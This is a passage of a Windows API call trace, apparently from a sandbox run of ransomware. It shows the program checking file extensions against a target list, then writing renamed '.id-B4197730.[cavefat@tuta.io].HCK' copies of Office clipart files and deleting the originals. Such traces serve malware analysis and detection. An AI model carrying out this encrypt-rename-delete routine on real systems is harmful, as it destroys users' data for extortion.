(lpString=".1cd") returned 4 [0229.925] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.925] lstrlenW (lpString=".jpg") returned 4 [0229.925] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.925] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0229.925] lstrlenW (lpString="INDST_01.MID") returned 12 [0229.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.038] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=8568) returned 1 [0230.038] CloseHandle (hObject=0x4d4) returned 1 [0230.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220 [0230.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.401] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.401] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.419] GetLastError () returned 0x0 [0230.419] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2178, lpOverlapped=0x0) returned 1 [0230.437] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2180, lpOverlapped=0x0) returned 1 [0230.437] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.437] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.437] SetEndOfFile (hFile=0x454) returned 1 [0230.438] CloseHandle (hObject=0x454) returned 1 [0230.438] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.438] SetEndOfFile (hFile=0x4d4) returned 1 [0230.440] CloseHandle (hObject=0x4d4) returned 1 [0230.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0230.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.441] lstrlenW (lpString=".doc") returned 4 [0230.441] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.441] lstrlenW (lpString=".docx") returned 5 [0230.441] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.441] lstrlenW (lpString=".pdf") returned 4 [0230.441] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.441] lstrlenW (lpString=".xls") returned 4 [0230.441] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.441] lstrlenW (lpString=".xlsx") returned 5 [0230.441] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.441] lstrlenW (lpString=".ppt") returned 4 [0230.441] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.441] lstrlenW (lpString=".zip") returned 4 [0230.441] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.441] lstrlenW (lpString=".rar") returned 4 [0230.441] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.441] lstrlenW (lpString=".bz2") returned 4 [0230.441] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.441] lstrlenW (lpString=".7z") returned 3 [0230.441] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.441] lstrlenW (lpString=".dbf") returned 4 [0230.441] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.441] lstrlenW (lpString=".1cd") returned 4 [0230.441] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.441] lstrlenW (lpString=".jpg") returned 4 [0230.441] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.441] lstrlenW (lpString=".doc") returned 4 [0230.441] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.441] lstrlenW (lpString=".docx") returned 5 [0230.441] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.441] lstrlenW (lpString=".pdf") returned 4 [0230.441] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.441] lstrlenW (lpString=".xls") returned 4 [0230.442] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.442] lstrlenW (lpString=".xlsx") returned 5 [0230.442] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.442] lstrlenW (lpString=".ppt") returned 4 [0230.442] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.442] lstrlenW (lpString=".zip") returned 4 [0230.442] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.442] lstrlenW (lpString=".rar") returned 4 [0230.442] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.442] lstrlenW (lpString=".bz2") returned 4 [0230.442] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.442] lstrlenW (lpString=".7z") returned 3 [0230.442] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.442] lstrlenW (lpString=".dbf") returned 4 [0230.442] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.442] lstrlenW (lpString=".1cd") returned 4 [0230.442] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0230.442] lstrlenW (lpString=".jpg") returned 4 [0230.442] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.442] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.442] lstrlenW (lpString="PARNT_07.MID") returned 12 [0230.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.443] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=6564) returned 1 [0230.443] CloseHandle (hObject=0x4d4) returned 1 [0230.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220 [0230.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.444] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.444] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.444] GetLastError () returned 0x0 [0230.444] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x19a4, lpOverlapped=0x0) returned 1 [0230.446] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0230.447] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.447] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.447] SetEndOfFile (hFile=0x454) returned 1 [0230.523] CloseHandle (hObject=0x454) returned 1 [0230.523] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.523] SetEndOfFile (hFile=0x4d4) returned 1 [0230.526] CloseHandle (hObject=0x4d4) returned 1 [0230.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0230.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.528] lstrlenW (lpString=".doc") returned 4 [0230.528] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.528] lstrlenW (lpString=".docx") returned 5 [0230.528] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0230.528] lstrlenW (lpString=".pdf") returned 4 [0230.528] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.528] lstrlenW (lpString=".xls") returned 4 [0230.528] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.528] lstrlenW (lpString=".xlsx") returned 5 [0230.528] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0230.528] lstrlenW (lpString=".ppt") returned 4 [0230.528] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.528] lstrlenW (lpString=".zip") returned 4 [0230.528] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.528] lstrlenW (lpString=".rar") returned 4 [0230.529] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.529] lstrlenW (lpString=".bz2") returned 4 [0230.529] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.529] lstrlenW (lpString=".7z") returned 3 [0230.529] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.529] lstrlenW (lpString=".dbf") returned 4 [0230.529] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.529] lstrlenW (lpString=".1cd") returned 4 [0230.529] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.529] lstrlenW (lpString=".jpg") returned 4 [0230.529] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.529] lstrlenW (lpString=".doc") returned 4 [0230.529] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.529] lstrlenW (lpString=".docx") returned 5 [0230.529] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0230.529] lstrlenW (lpString=".pdf") returned 4 [0230.529] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.529] lstrlenW (lpString=".xls") returned 4 [0230.529] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.529] lstrlenW (lpString=".xlsx") returned 5 [0230.529] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0230.529] lstrlenW (lpString=".ppt") returned 4 [0230.529] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.529] lstrlenW (lpString=".zip") returned 4 [0230.529] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.529] lstrlenW (lpString=".rar") returned 4 [0230.529] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.529] lstrlenW (lpString=".bz2") returned 4 [0230.529] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.529] lstrlenW (lpString=".7z") returned 3 [0230.529] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.529] lstrlenW (lpString=".dbf") returned 4 [0230.529] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.530] lstrlenW (lpString=".1cd") returned 4 [0230.530] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0230.530] lstrlenW (lpString=".jpg") returned 4 [0230.530] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.530] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.530] lstrlenW (lpString="PARNT_08.MID") returned 12 [0230.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.531] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7347) returned 1 [0230.531] CloseHandle (hObject=0x4d4) returned 1 [0230.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220 [0230.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.532] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.532] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.533] GetLastError () returned 0x0 [0230.533] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x1cb3, lpOverlapped=0x0) returned 1 [0230.535] WriteFile (in: hFile=0x54c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1cc0, lpOverlapped=0x0) returned 1 [0230.536] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.536] WriteFile (in: hFile=0x54c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.536] SetEndOfFile (hFile=0x54c) returned 1 [0230.536] CloseHandle (hObject=0x54c) returned 1 [0230.536] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.536] SetEndOfFile (hFile=0x4d4) returned 1 [0230.538] CloseHandle (hObject=0x4d4) returned 1 [0230.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0230.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.539] lstrlenW (lpString=".doc") returned 4 [0230.539] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.539] lstrlenW (lpString=".docx") returned 5 [0230.539] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0230.539] lstrlenW (lpString=".pdf") returned 4 [0230.539] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.539] lstrlenW (lpString=".xls") returned 4 [0230.539] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.539] lstrlenW (lpString=".xlsx") returned 5 [0230.539] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0230.539] lstrlenW (lpString=".ppt") returned 4 [0230.539] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.539] lstrlenW (lpString=".zip") returned 4 [0230.539] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.539] lstrlenW (lpString=".rar") returned 4 [0230.539] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.539] lstrlenW (lpString=".bz2") returned 4 [0230.539] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.539] lstrlenW (lpString=".7z") returned 3 [0230.539] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.539] lstrlenW (lpString=".dbf") returned 4 [0230.539] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.539] lstrlenW (lpString=".1cd") returned 4 [0230.539] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.539] lstrlenW (lpString=".jpg") returned 4 [0230.539] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.539] lstrlenW (lpString=".doc") returned 4 [0230.539] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.539] lstrlenW (lpString=".docx") returned 5 [0230.540] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0230.540] lstrlenW (lpString=".pdf") returned 4 [0230.540] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.540] lstrlenW (lpString=".xls") returned 4 [0230.540] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.540] lstrlenW (lpString=".xlsx") returned 5 [0230.540] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0230.540] lstrlenW (lpString=".ppt") returned 4 [0230.540] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.540] lstrlenW (lpString=".zip") returned 4 [0230.540] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.540] lstrlenW (lpString=".rar") returned 4 [0230.540] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.540] lstrlenW (lpString=".bz2") returned 4 [0230.540] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.540] lstrlenW (lpString=".7z") returned 3 [0230.540] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.540] lstrlenW (lpString=".dbf") returned 4 [0230.540] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.540] lstrlenW (lpString=".1cd") returned 4 [0230.540] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0230.540] lstrlenW (lpString=".jpg") returned 4 [0230.540] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.540] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.540] lstrlenW (lpString="PARNT_09.MID") returned 12 [0230.540] CreateFileW 